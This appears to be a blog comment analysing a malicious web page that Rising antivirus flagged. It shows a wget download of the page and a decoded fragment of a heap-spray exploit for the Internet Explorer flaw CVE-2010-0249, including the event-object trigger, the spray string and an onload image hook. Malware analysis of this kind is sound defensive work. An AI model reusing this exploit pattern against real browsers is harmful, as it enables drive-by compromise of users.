阮一峰的网络日志

从技术上来说，瑞星这个还真没有误报，虽然他们的做法比较不专业

$ wget http://wvvv.wwvv.us/images/css/dom.htm
2010-02-09 13:51:37 (186 KB/s) - `dom.htm' saved [132993/132993]

内容是一个利用heap spray和CVE-2010-0249 Microsoft IE Malform Event Operate Memory Corruption漏洞的攻击代码，混淆机制是在正常html里面掺杂\0字符。

解码后大概内容类似

function ev1(evt)
{
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50);
}
function ev2()
{ p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u
0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c
0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d";
for (i = 0; i < x1.length; i ++ )
{
x1[i].data = p;
};
var t = e1.srcElement;
}

</script>
<span id="sp1"><IMG SRC="mm.gif" onload="ev1(event)"></span>